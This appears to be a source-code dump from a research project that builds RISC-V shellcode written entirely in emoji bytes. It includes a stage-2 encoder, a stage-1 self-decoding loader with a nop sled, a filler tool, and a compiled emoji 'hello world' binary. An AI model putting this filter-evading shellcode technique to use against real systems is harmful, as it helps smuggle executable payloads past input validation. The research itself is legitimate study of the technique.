pairs_dict = dict(sorted(pairs.items())) 113 | quads_list = sorted(quads) 114 | 115 | end = time.time() 116 | print(f"Generated {len(pairs)} pairs and {len(quads)} quads in {end - start:0.1f}s") 117 | return pairs_dict, quads_list 118 | 119 | 120 | def save_pair_graphics(pairs: dict[int, int], build_dir: str) -> None: 121 | pairs_occurs_max = max(pairs.values()) 122 | img = Image.new("RGB", (256, 256), color="black") 123 | for key in pairs: 124 | x = key % 256 125 | y = key // 256 126 | i = math.log2(pairs[key]) / math.log2(pairs_occurs_max) 127 | color = colorsys.hsv_to_rgb(i * 300.0, 1.0, 1.0) 128 | color = (int(color[0] * 255), int(color[1] * 255), int(color[2] * 255)) 129 | # print(color) 130 | img.putpixel((x, y), color) 131 | img.save(build_dir + "/pairs.png") 132 | 133 | 134 | def main() -> None: 135 | build_dir = "build" 136 | pathlib.Path(build_dir).mkdir(parents=True, exist_ok=True) 137 | 138 | emoji_sequences_filename = build_dir + "/emoji-sequences.txt" 139 | if not os.path.isfile(emoji_sequences_filename): 140 | get_emoji_sequence_file(emoji_sequences_filename) 141 | 142 | emoji_test_filename = build_dir + "/emoji-test.txt" 143 | if not os.path.isfile(emoji_test_filename): 144 | get_emoji_test_file(emoji_test_filename) 145 | 146 | sequences = gen_sequences([emoji_sequences_filename, emoji_test_filename], build_dir) 147 | 148 | pairs, quads = gen_pairs_quads(sequences) 149 | 150 | save_pair_graphics(pairs, build_dir) 151 | 152 | with open(build_dir + "/diss.bin", "wb") as f: 153 | for a in pairs: 154 | f.write(bytes([a % 256])) 155 | f.write(bytes([a // 256])) 156 | for a in quads: 157 | for _ in range(4): 158 | f.write(bytes([a % 256])) 159 | a //= 256 160 | 161 | 162 | if __name__ == "__main__": 163 | main() 164 | -------------------------------------------------------------------------------- /qemu/encode_stage2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # 4 | # (c) 2021-2022 Hadrien Barral 5 | # SPDX-License-Identifier: Apache-2.0 6 | # 7 | 8 | import argparse 9 | import json 10 | import sys 11 | 12 | 13 | def argparser() -> argparse.Namespace: 14 | parser = argparse.ArgumentParser(description="Stage2 encoder") 15 | parser.add_argument("-i", "--input", help="Stage 2 input file (binary form)", required=True) 16 | parser.add_argument("-o", "--output", help="Encoded stage 2 output file (assembly form)", required=True) 17 | parser.add_argument("-k", "--kind", help="Iteration number of the encoding kind", type=int, default=1) 18 | parser.add_argument("--k2_json", help="Prebuilt json file for -k 2 kind.") 19 | return parser.parse_args() 20 | 21 | 22 | def encode_file_k1(in_data: bytes) -> str: 23 | """ 24 | Dumb version using only 4 high-level gadgets 25 | """ 26 | 27 | out_data = "" 28 | val = 1 29 | for c in in_data: 30 | out_data += f"# From 0x{val:02X} to 0x{c:02X}\n" 31 | diff = (256 + c - val) % 256 32 | while diff >= 16: 33 | out_data += "incr16_a1\n" 34 | diff -= 16 35 | while diff > 0: 36 | out_data += "incr_a1\n" 37 | diff -= 1 38 | val = c 39 | out_data += "stage2_write_byte\n" 40 | return out_data 41 | 42 | 43 | def encode_file_k2(in_data: bytes, json_file: str) -> str: 44 | """ 45 | Improved version over k1, with more gadgets 46 | """ 47 | 48 | with open(json_file, "r", encoding="utf-8") as json_handle: 49 | fromto = json.load(json_handle) 50 | 51 | out_data = "" 52 | val = 1 53 | for c in in_data: 54 | out_data += f"# From 0x{val:02X} to 0x{c:02X}\n" 55 | strategy = fromto[str(val)][c] 56 | for gadget in strategy["gadgets"]: 57 | out_data += f"{gadget}\n" 58 | val = c 59 | out_data += "stage2_write_byte\n" 60 | return out_data 61 | 62 | 63 | def main() -> None: 64 | args = argparser() 65 | 66 | with open(args.input, "rb") as in_f: 67 | in_data = in_f.read() 68 | 69 | match args.kind: 70 | case 1: 71 | out_data = encode_file_k1(in_data) 72 | case 2: 73 | out_data = encode_file_k2(in_data, args.k2_json) 74 | case _: 75 | print(f"Unknown kind {args.kind}", file=sys.stderr) 76 | sys.exit(1) 77 | 78 | with open(args.output, "w", encoding="utf-8") as out_f: 79 | out_f.write(out_data) 80 | 81 | 82 | if __name__ == "__main__": 83 | main() 84 | 85 | 86 | helper_for_dev = """ 87 | 8695 add a1,a1,ra %NP 88 | a695 add a1,a1,s1 %NP 89 | 9695 add a1,a1,t0 %NP 90 | 9a95 add a1,a1,t1 %NP 91 | 9e95 add a1,a1,t2 %NP 92 | 9295 add a1,a1,tp %NP 93 | 94 | [9385f09f] addi a1,ra,-1537 %NP 95 | [9385e2ac] addi a1,t0,-1330 %NP 96 | [9385e2a4] addi a1,t0,-1458 %NP 97 | [9385e29e] addi a1,t0,-1554 %NP 98 | [9385e29c] addi a1,t0,-1586 %NP 99 | [9385e29b] addi a1,t0,-1602 %NP 100 | [9385e29a] addi a1,t0,-1618 %NP 101 | [9385e299] addi a1,t0,-1634 %NP 102 | [9385e298] addi a1,t0,-1650 %NP 103 | [9385e28f] addi a1,t0,-1794 %NP 104 | [9385e286] addi a1,t0,-1938 %NP 105 | [9385e284] addi a1,t0,-1970 %NP 106 | [9385e281] addi a1,t0,-2018 %NP 107 | [9385e38a] addi a1,t2,-1874 %NP 108 | [9385e380] addi a1,t2,-2034 %NP 109 | 110 | #Prefix: f09f except e2 for "6" 111 | a599 andi a1,a1,-23 %NP 112 | 9599 andi a1,a1,-27 %NP 113 | 9199 andi a1,a1,-28 %NP 114 | 8d99 andi a1,a1,-29 %NP 115 | 8d89 andi a1,a1,3 %NP 116 | 9189 andi a1,a1,4 %NP 117 | 9989 andi a1,a1,6 %NP 118 | a589 andi a1,a1,9 %NP 119 | 120 | aa85 mv a1,a0 %NP 121 | 8e85 mv a1,gp %NP 122 | a685 mv a1,s1 %NP 123 | 9285 mv a1,tp %NP 124 | 125 | slti(u) to set to zero/one 126 | 127 | 8d95 srai a1,a1,0x23 %NP 128 | 9195 srai a1,a1,0x24 %NP 129 | 9595 srai a1,a1,0x25 %NP 130 | a595 srai a1,a1,0x29 %NP 131 | ad95 srai a1,a1,0x2b %NP 132 | 8d85 srai a1,a1,0x3 %NP 133 | 9185 srai a1,a1,0x4 %NP 134 | 9985 srai a1,a1,0x6 %NP 135 | 8d91 srli a1,a1,0x23 %NP 136 | 9191 srli a1,a1,0x24 %NP 137 | 9591 srli a1,a1,0x25 %NP 138 | 9991 srli a1,a1,0x26 %NP 139 | a591 srli a1,a1,0x29 %NP 140 | 8d81 srli a1,a1,0x3 %NP 141 | 9981 srli a1,a1,0x6 %NP 142 | a581 srli a1,a1,0x9 %NP 143 | 144 | 8d8d sub a1,a1,a1 %NP 145 | 918d sub a1,a1,a2 %NP 146 | 958d sub a1,a1,a3 %NP 147 | 998d sub a1,a1,a4 %NP 148 | 149 | a58d xor a1,a1,s1 %NP 150 | """ 151 | -------------------------------------------------------------------------------- /qemu/stage1.S: -------------------------------------------------------------------------------- 1 | /*# 2 | *# (c) 2018-2022 Hadrien Barral 3 | *# SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | include(`helpers/common.m4')#' 7 | 8 | .macro jumper_with_zero_a3 before_land_size:req 9 | ins2 0xe29c ### add s9,s9,s8 10 | ins2 0x85c2 #beqz a3,+0x20 11 | ins2 0xa9ef 12 | ins2 0xb88f 13 | clog (0x1a - \before_land_size) 14 | .endm 15 | 16 | .macro jumper_with_nonzero_a3 before_land_size:req 17 | # e29c85 ✅ e29988 ♈ CLOG(0x1c) 18 | ins2 0xe29c ### add s9,s9,s8 19 | ins2 0x85e2 # bnez a3,+0x20 20 | ins2 0x9988 21 | clog (0x1c - \before_land_size) 22 | .endm 23 | 24 | .global _start 25 | _start: 26 | 27 | non0a5: 28 | jumper_with_zero_a3 2 29 | ins2 0xf09f # before land 30 | ins4 0x9387e2ac # addi a5,t0,-1330 31 | ins2 0x85ef # bnez a5,+0x38 32 | ins2 0xb88f # 33 | clog 0x34 34 | 35 | setuppcfixup: 36 | # First, set a1 to 0 37 | jumper_with_zero_a3 2 38 | ins2 0xf09f # before land 39 | ins4 0x93a5f09f # slti a1,ra,-1537 40 | ins2 0x868e ### mv t4,ra 41 | 42 | # Then, set t0 to zero 43 | jumper_with_zero_a3 2 44 | ins2 0xf09f # 45 | ins4 0x93a2e281 # slti t0,t0,-2018 46 | ins2 0x89ef # bnez a5,+0x1a 47 | ins2 0xb88f # 48 | clog 0x14 49 | 50 | jumper_with_zero_a3 2 51 | ins2 0xf09f # 52 | ins4 0x93a2e281 # slti t0,t0,-2018 53 | ins2 0x89ef # bnez a5,+0x1a 54 | ins2 0xb88f # 55 | clog 0x14 56 | 57 | .macro t0addiforfixup 58 | ins2 0xf09f # before land 59 | ins4 0x9382e281 # addi t0,t0,-2018 60 | ins2 0x89ef ### bnez a5,+0x1a 61 | ins2 0xb88f ### 62 | clog 0x14 63 | .endm 64 | 65 | # Then, set t0 fixup 66 | repeat(12, {t0addiforfixup}) 67 | 68 | # Then, move fixup to t2 69 | ins2 0xf09f # before land 70 | ins4 0x9383e2ac # addi t2,t0,-1330 71 | ins2 0x85ef ### bnez a5,+0x38 72 | ins2 0xb88f ### 73 | clog 0x33 74 | 75 | .byte 0xe2 # before land 76 | ins2 0x9e95 # add a1,a1,t2 77 | 78 | getbadpc: 79 | ins2 0xe29d ### add s11,s11,s8 80 | ins4 0x97f09f88 # auipc ra,0x889ff 81 | ins4 0xb7efb88f ### lui t6,0x8fb8e 82 | 83 | seta3: 84 | # Then, set t0 to zero 85 | jumper_with_zero_a3 2 86 | ins2 0xf09f # 87 | ins4 0x93a2e281 # slti t0,t0,-2018 88 | ins2 0x89ef # bnez a5,+0x1a 89 | ins2 0xb88f # 90 | clog 0x14 91 | 92 | # First, set a3 to 0 93 | jumper_with_zero_a3 2 94 | ins2 0xf09f # before land 95 | ins4 0x93a6e2ac #slti a3,t0,-1330 96 | ins2 0x85ef # bnez a5,+0x38 97 | ins2 0xb88f # 98 | clog 0x32 99 | 100 | # Then, set a3 to ra 101 | ins2 0xf09f # before land 102 | ins2 0x8696 # add a3,a3,ra 103 | 104 | fixa3: 105 | # First, load matching offset 106 | jumper_with_nonzero_a3 3 107 | .byte 0xf0, 0x9f, 0xaa # before land 108 | ins4 0xb7f09f88 # lui ra,0x889ff 109 | ins4 0xb7efb88f # lui t6,0x8fb8e 110 | 111 | jumper_with_nonzero_a3 2 112 | ins2 0xf09f # before land 113 | ins2 0x8695 # add a1,a1,ra 114 | 115 | # Finally, subtract to a3 116 | jumper_with_nonzero_a3 2 117 | ins2 0xf09f # before land 118 | ins2 0x8d8e # sub a3,a3,a1 119 | 120 | #if 0 121 | .macro t0addifora3 122 | ins2 0xf09f # before land 123 | ins4 0x9382e281 # addi t0,t0,-2018 124 | ins2 0x89ef ### bnez a5,+0x1a 125 | ins2 0xb88f ### 126 | clog 0x14 127 | .endm 128 | 129 | .macro reducea3byt2 130 | jumper_with_nonzero_a3 1 131 | .byte 0xe2 # before land 132 | ins2 0x9e96 # add a3,a3,t2 133 | .endm 134 | 135 | reducea3: 136 | # a3: pc+0x09ff026 -> pc+0x002d00a = - 10297372 -> 5102*2018 137 | 138 | # Set t0 to zero 139 | jumper_with_nonzero_a3 2 140 | ins2 0xf09f # 141 | ins4 0x93a2e281 # slti t0,t0,-2018 142 | ins2 0x89ef # bnez a5,+0x1a 143 | ins2 0xb88f # 144 | clog 0x14 145 | 146 | repeat(118, {t0addifora3}) 147 | 148 | ins2 0xf09f # before land 149 | ins4 0x9383e2ac # addi t2,t0,-1330 150 | ins2 0x85ef ### bnez a5,+0x38 151 | ins2 0xb88f ### 152 | clog 0x34 153 | 154 | repeat(43, {reducea3byt2}) 155 | #j . 156 | #endif 157 | 158 | t2to1: 159 | jumper_with_nonzero_a3 2 160 | ins2 0xf09f # before land 161 | ins4 0x93b3f09f # sltiu t2,ra,-1537 162 | ins2 0x868e ### mv t4,ra 163 | 164 | a1to1: 165 | jumper_with_nonzero_a3 2 166 | ins2 0xf09f # before land 167 | ins4 0x93a5f09f # slti a1,ra,-1537 168 | ins2 0x868e ### mv t4,ra 169 | 170 | rato1: 171 | jumper_with_nonzero_a3 2 172 | ins2 0xf09f # before land 173 | ins4 0x93b0e38a # sltiu ra,t2,-2034 174 | ins2 0x99ef ### bnez a5,+0x1e 175 | ins2 0xb88f ### 176 | clog 0x1a 177 | 178 | t0to8: 179 | repeat(15, { 180 | jumper_with_nonzero_a3 2 181 | ins2 0xf09f # before land 182 | ins2 0x8692 # add t0,t0,ra 183 | }) 184 | 185 | .macro incr_a1 186 | # ... e29e95 ➕ 187 | jumper_with_nonzero_a3 1 188 | .byte 0xe2 189 | ins2 0x9e95 # add a1,a1,t2 190 | .endm 191 | 192 | .macro incr16_a1 193 | # ... e29e95 ➕ 194 | jumper_with_nonzero_a3 2 195 | ins2 0xf09f 196 | ins2 0x9695 # add a1,a1,t0 197 | .endm 198 | 199 | .macro stage2_write_byte 200 | # First, store a1 201 | #if RV_BITS == 32 202 | # e29988 ♈ c2a9efb88f ©️ 203 | ins2 0xe299 ### add s3,s3,s8 204 | ins2 0x8cc2 # sw a1,0(a3) 205 | ins2 0xa9ef ### bnez a5,+0x5a 206 | ins2 0xb88f 207 | clog 0x54 208 | #elif RV_BITS == 64 209 | # e29d8c ❌ e2998b ♋ 210 | ins2 0xe29d ### add s11,s11,s8 211 | ins2 0x8ce2 # sd a1,0(a3) 212 | ins2 0x998b ### andi a5,a5,6 /* Multiple other possibilities */ 213 | #else 214 | #error Unknown RV_BITS 215 | #endif 216 | 217 | # Then, increment a3 218 | # e29989 ♉ e29e96 ➖ 219 | ins2 0xe299 ### add s3,s3,s8 220 | ins2 0x89e2 ### bnez a3,+0x2 221 | ins2 0x9e96 # add a3,a3,t2 222 | .endm 223 | 224 | stage2decode: 225 | #include "stage2_encoded.S" 226 | 227 | .macro nop6 228 | ins2 0xe29a #add s5,s5,s8 229 | ins4 0x97efb88f # auipc t6,0x8fb8e 230 | .endm 231 | 232 | nopsled: 233 | repeat(1000, {nop6}) 234 | -------------------------------------------------------------------------------- /qemu/unclog.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # 4 | # (c) 2021-2022 Hadrien Barral 5 | # SPDX-License-Identifier: Apache-2.0 6 | # 7 | 8 | """ 9 | Unclogs a compiled shellcodes, with fills left as 0xff 10 | Aim: find 0xff sequences and replace them by valid emojis. 11 | """ 12 | 13 | import argparse 14 | import random 15 | import sys 16 | import typing 17 | 18 | min_emoji_len = 3 19 | max_emoji_len = 340 20 | 21 | EmojiList: typing.TypeAlias = list[tuple[str, str]] 22 | EmojiListByLen: typing.TypeAlias = dict[int, EmojiList] 23 | MinifyChoice: typing.TypeAlias = dict[int, list[list[int]]] 24 | 25 | 26 | def argparser() -> argparse.Namespace: 27 | parser = argparse.ArgumentParser(description="Stage1 unclogger") 28 | parser.add_argument("-i", "--input", help="Input file", required=True) 29 | parser.add_argument("-o", "--output", help="Output file", required=True) 30 | parser.add_argument("-e", "--emoji", help="Emoji definitions file", required=True) 31 | parser.add_argument("-m", "--minify", help="Use the least possible number of emojis", action="store_true") 32 | parser.add_argument("-r", "--randomize", help="Randomize unclog step", action="store_true") 33 | parser.add_argument("-s", "--seed", help="Randomizer seed", type=int) 34 | return parser.parse_args() 35 | 36 | 37 | def load_emoji(filename: str) -> EmojiList: 38 | emoji = {} 39 | with open(filename, "r", encoding="utf-8") as f: 40 | for line in f: 41 | split = line.split() 42 | hex_sequence = split[0] 43 | assert len(hex_sequence) >= 2 * min_emoji_len 44 | assert len(hex_sequence) <= 2 * max_emoji_len 45 | emoji[hex_sequence] = split[1] 46 | return list(emoji.items()) 47 | 48 | 49 | class Unclog: 50 | """The core work of unclogging""" 51 | 52 | def __init__(self, randomize: bool, minify: bool, emojis: EmojiList): 53 | self.randomize = randomize 54 | self.minify = minify 55 | self.emojis = emojis 56 | 57 | self.emoji_by_length = self.prebuild_emoji_by_length() 58 | self.minify_choice = self.prebuild_minify() 59 | 60 | def prebuild_emoji_by_length(self) -> EmojiListByLen: 61 | emoji_by_length: EmojiListByLen = {} 62 | for key, emoji in self.emojis: 63 | length = len(key) // 2 64 | if length not in emoji_by_length: 65 | emoji_by_length[length] = [] 66 | emoji_by_length[length].append((key, emoji)) 67 | emoji_by_length = dict(sorted(emoji_by_length.items())) # Sort by key 68 | return emoji_by_length 69 | 70 | def prebuild_minify(self) -> MinifyChoice: 71 | minify_choice: MinifyChoice = {} 72 | emoji_lengths = list(self.emoji_by_length.keys()) 73 | for i in range(len(emoji_lengths)): # pylint: disable=C0200 74 | key1 = emoji_lengths[i] 75 | minify_choice[key1] = [[key1]] 76 | for j in range(i, len(emoji_lengths)): 77 | key2 = emoji_lengths[j] 78 | ksum = key1 + key2 79 | elem = [key1, key2] 80 | if (ksum not in minify_choice) or (len(elem) < len(minify_choice[ksum][0])): 81 | minify_choice[ksum] = [elem] 82 | elif len(elem) == len(minify_choice[ksum][0]): 83 | minify_choice[ksum].append(elem) 84 | return minify_choice 85 | 86 | def gen_fill(self, fflen: int) -> bytes: # pylint: disable=R0912,R0914 87 | if (fflen < 3) or (fflen == 5): 88 | print(f"Cannot generate fill for {fflen} bytes", file=sys.stderr) 89 | sys.exit(1) 90 | fill = "" 91 | if self.minify: 92 | remain_fflen = fflen 93 | if fflen not in self.minify_choice: 94 | highest_emoji_len = max(self.emoji_by_length) 95 | big = 2 * highest_emoji_len 96 | while remain_fflen > big: 97 | fill += self.gen_fill(highest_emoji_len).decode("utf-8") 98 | remain_fflen -= highest_emoji_len 99 | if remain_fflen not in self.minify_choice: 100 | print(f"Unhandled minify len {fflen}", file=sys.stderr) 101 | sys.exit(1) 102 | len_possibilities = self.minify_choice[remain_fflen] 103 | if self.randomize: 104 | len_list_pick = random.choice(len_possibilities) 105 | random.shuffle(len_list_pick) 106 | else: 107 | len_list_pick = len_possibilities[0] 108 | 109 | for pick in len_list_pick: 110 | if self.randomize: 111 | _, emoji = random.choice(self.emoji_by_length[pick]) 112 | else: 113 | _, emoji = self.emoji_by_length[pick][0] 114 | fill += emoji 115 | else: 116 | three = (-fflen) % 4 117 | four = ((fflen + 3) // 4) - three 118 | # print(f"Fill {three}*3 {four}*4 = {fflen}") 119 | assert three >= 0 120 | assert four >= 0 121 | assert 3 * three + 4 * four == fflen 122 | 123 | if self.randomize: 124 | while three > 0 or four > 0: 125 | random_key, random_emoji = random.choice(self.emojis) 126 | if (three > 0) and (len(random_key) == 6): 127 | fill += random_emoji 128 | three -= 1 129 | if (four > 0) and (len(random_key) == 8): 130 | fill += random_emoji 131 | four -= 1 132 | else: 133 | fill += ("⭕" * three) + ("🌑" * four) 134 | fill_encoded = fill.encode() 135 | # print(f"Fill fflen:{fflen} -> {len(fill_encoded)} ", fill_encoded) 136 | assert len(fill_encoded) == fflen 137 | return fill_encoded 138 | 139 | def process(self, input_file: str, output_file: str) -> tuple[int, int]: 140 | bytes_unclogged = 0 141 | with open(input_file, "rb") as in_f: 142 | data = bytearray(in_f.read()) 143 | all_bytes = len(data) 144 | i = 0 145 | fflen = 0 146 | ffstart = 0 147 | for i in range(len(data)): # pylint: disable=C0200 148 | if fflen > 0: 149 | if data[i] == 0xFF: 150 | # Continuing of FF sequence 151 | fflen += 1 152 | else: 153 | # End of FF sequence 154 | data[ffstart : ffstart + fflen] = self.gen_fill(fflen) 155 | bytes_unclogged += fflen 156 | fflen = 0 157 | else: 158 | if data[i] == 0xFF: 159 | # Start of FF sequence 160 | ffstart = i 161 | fflen += 1 162 | if fflen > 0: 163 | data[ffstart : ffstart + fflen] = self.gen_fill(fflen) 164 | bytes_unclogged += fflen 165 | 166 | with open(output_file, "wb") as out_f: 167 | out_f.write(data) 168 | return (bytes_unclogged, all_bytes) 169 | 170 | 171 | def main() -> None: 172 | args = argparser() 173 | emojis = load_emoji(args.emoji) 174 | if args.seed is not None: 175 | random.seed(args.seed) 176 | unclog = Unclog(args.randomize, args.minify, emojis) 177 | bytes_unclogged, all_bytes = unclog.process(args.input, args.output) 178 | print(f"Unclogged {bytes_unclogged}/{all_bytes} bytes from {args.input} to {args.output}") 179 | 180 | 181 | if __name__ == "__main__": 182 | main() 183 | -------------------------------------------------------------------------------- /paper_hello_world/qemu_miniclog_large.bin: -------------------------------------------------------------------------------- 1 | ✅©️👩‍❤‍💋‍👩📇⬅️🧑🏿‍❤‍🧑🏼👨‍❤️‍💋‍👨✅©️👨‍❤‍💋‍👨📥🆎✅©️👨‍❤‍💋‍👨📢⁉️👩‍❤️‍👩✅©️👩‍❤‍💋‍👨📢⁉️👩‍❤️‍👩📂⁉️👩‍❤️‍👨📂⁉️👩‍❤️‍👩📂⁉️👨‍❤️‍👨📂⁉️👩‍❤️‍👩📂⁉️👩‍❤️‍👨📂⁉️👩‍❤️‍👩📂⁉️👨‍❤️‍👨📂⁉️👩‍❤️‍👨📂⁉️👩‍❤️‍👩📃⬅️🫱🏼‍🫲🏿👩🏼‍❤‍💋‍👨🏽➕❗🈷️✅©️👩‍❤‍💋‍👨📢⁉️👩‍❤️‍👨✅©️👩‍❤‍💋‍👨📦⬅️👨🏻‍❤️‍💋‍👨🏾👩🏼‍🦽🆖✅♈👩🏽‍❤‍👩🏼🪷🈷️✅♈👩🏼‍🤝‍👩🏿🆕✅♈🧑🏽‍🤝‍🧑🏽🍎✅♈👩🏽‍🤝‍👩🏻📳🆎✅♈🧑🏼‍🤝‍🧑🏾📥🆎✅♈👨🏽‍🤝‍👨🏻📰㊙️👩🏾‍🤝‍👨🏼✅♈👩🏽‍🤝‍👩🏼🆒✅♈👩🏽‍🤝‍👩🏼🆒✅♈👨🏽‍🤝‍👨🏻🆒✅♈👩🏽‍🤝‍👩🏻🆒✅♈👩🏼‍🤝‍👩🏽🆒✅♈👩🏿‍🤝‍👨🏻🆒✅♈👨🏼‍🤝‍👨🏿🆒✅♈👩🏻‍🤝‍👩🏼🆒✅♈🧑🏿‍🤝‍🧑🏾🆒✅♈👩🏿‍🤝‍👩🏾🆒✅♈🧑🏾‍🤝‍🧑🏽🆒✅♈👨🏼‍🤝‍👨🏾🆒✅♈👨🏽‍🤝‍👨🏿🆒✅♈👨🏿‍🤝‍👨🏾🆒✅♈👨🏻‍🤝‍👨🏾🆒✅♈👩‍❤️‍💋‍👩➕✅♈👨‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕❌♋♉➖✅♈👨‍❤️‍💋‍👨➕❌♋♉➖✅♈👩🏽‍🤝‍👨🏻🖕✅♈👨🏿‍🤝‍👨🏻🖕✅♈👩🏻‍🤝‍👩🏼🖕✅♈🧑🏻‍🤝‍🧑🏻🖕✅♈👩🏽‍🤝‍👨🏼🖕✅♈🧑🏼‍🤝‍🧑🏼🖕✅♈👨🏽‍🤝‍👨🏼🖕✅♈🧑🏾‍🤝‍🧑🏽🖕✅♈🧑🏽‍🤝‍🧑🏿🖕✅♈🧑🏻‍🤝‍🧑🏾🖕✅♈👩🏾‍🤝‍👩🏽🖕✅♈👨🏾‍🤝‍👨🏻🖕✅♈👩🏾‍🤝‍👩🏽🖕✅♈👩🏾‍🤝‍👩🏼🖕✅♈🧑🏽‍🤝‍🧑🏾🖕❌♋♉➖❌♋♉➖✅♈👩🏾‍🤝‍👩🏼🖕✅♈👩🏽‍🤝‍👨🏻🖕✅♈🧑🏽‍🤝‍🧑🏼🖕✅♈🧑🏾‍🤝‍🧑🏽🖕✅♈👨🏽‍🤝‍👨🏾🖕✅♈👩🏾‍🤝‍👩🏼🖕✅♈👨🏽‍🤝‍👨🏾🖕✅♈👩🏽‍🤝‍👨🏻🖕✅♈👩🏼‍🤝‍👨🏻🖕✅♈👩🏼‍🤝‍👨🏾🖕✅♈👨🏻‍🤝‍👨🏽🖕✅♈👩‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👩➕❌♋♉➖✅♈🧑🏻‍🤝‍🧑🏿🖕✅♈🧑🏽‍🤝‍🧑🏼🖕✅♈👨🏽‍🤝‍👨🏻🖕✅♈🧑🏿‍🤝‍🧑🏽🖕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👨‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕❌♋♉➖✅♈👩🏻‍🤝‍👩🏼🖕✅♈👩🏾‍🤝‍👩🏽🖕✅♈🧑🏽‍🤝‍🧑🏽🖕✅♈👩🏽‍🤝‍👨🏼🖕✅♈👨🏽‍🤝‍👨🏻🖕✅♈🧑🏼‍🤝‍🧑🏽🖕✅♈👩🏻‍🤝‍👩🏿🖕✅♈🧑🏻‍🤝‍🧑🏽🖕✅♈🧑🏿‍🤝‍🧑🏿🖕✅♈🧑🏽‍🤝‍🧑🏼🖕✅♈👩🏽‍🤝‍👩🏾🖕✅♈👩🏼‍🤝‍👨🏾🖕✅♈👩🏻‍🤝‍👨🏾🖕✅♈👨🏻‍🤝‍👨🏼🖕✅♈🧑🏻‍🤝‍🧑🏽🖕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👩➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👩➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👨➕❌♋♉➖✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👨‍❤️‍💋‍👨➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👨‍❤️‍💋‍👨➕❌♋♉➖✅♈👩🏾‍🤝‍👨🏻🖕✅♈👩🏿‍🤝‍👨🏽🖕✅♈👩🏼‍🤝‍👩🏾🖕✅♈👨🏻‍🤝‍👨🏼🖕✅♈👨🏽‍🤝‍👨🏿🖕✅♈👨🏿‍🤝‍👨🏾🖕✅♈👨🏽‍🤝‍👨🏿🖕✅♈🧑🏽‍🤝‍🧑🏿🖕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👩➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👩➕❌♋♉➖✅♈👨🏿‍🤝‍👨🏼🖕✅♈👩🏽‍🤝‍👩🏾🖕✅♈🧑🏻‍🤝‍🧑🏿🖕✅♈👩🏽‍🤝‍👨🏼🖕✅♈🧑🏿‍🤝‍🧑🏽🖕✅♈👩🏽‍🤝‍👨🏾🖕✅♈👨🏽‍🤝‍👨🏾🖕❌♋♉➖✅♈👩🏽‍🤝‍👩🏼🖕✅♈🧑🏽‍🤝‍🧑🏾🖕✅♈🧑🏽‍🤝‍🧑🏽🖕✅♈👩🏼‍🤝‍👩🏾🖕✅♈🧑🏾‍🤝‍🧑🏻🖕✅♈🧑🏼‍🤝‍🧑🏻🖕✅♈👩🏼‍🤝‍👨🏽🖕✅♈👩🏿‍🤝‍👨🏼🖕✅♈👨🏽‍🤝‍👨🏼🖕✅♈👩🏾‍🤝‍👨🏽🖕✅♈👨🏾‍🤝‍👨🏼🖕✅♈👩🏼‍🤝‍👨🏾🖕✅♈👩🏿‍🤝‍👩🏼🖕✅♈👩🏿‍🤝‍👩🏽🖕✅♈👩🏻‍🤝‍👨🏿🖕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👨‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👩➕✅♈👩‍❤️‍💋‍👨➕✅♈👩‍❤️‍💋‍👩➕❌♋♉➖❌♋♉➖✅♈🧑🏻‍🤝‍🧑🏿🖕✅♈👩🏼‍🤝‍👩🏿🖕✅♈👩🏽‍🤝‍👩🏻🖕✅♈👨🏽‍🤝‍👨🏻🖕✅♈👩🏿‍🤝‍👨🏽🖕✅♈👩🏾‍🤝‍👨🏿🖕✅♈👩🏿‍🤝‍👩🏾🖕✅♈👩🏾‍🤝‍👨🏼🖕✅♈👩🏻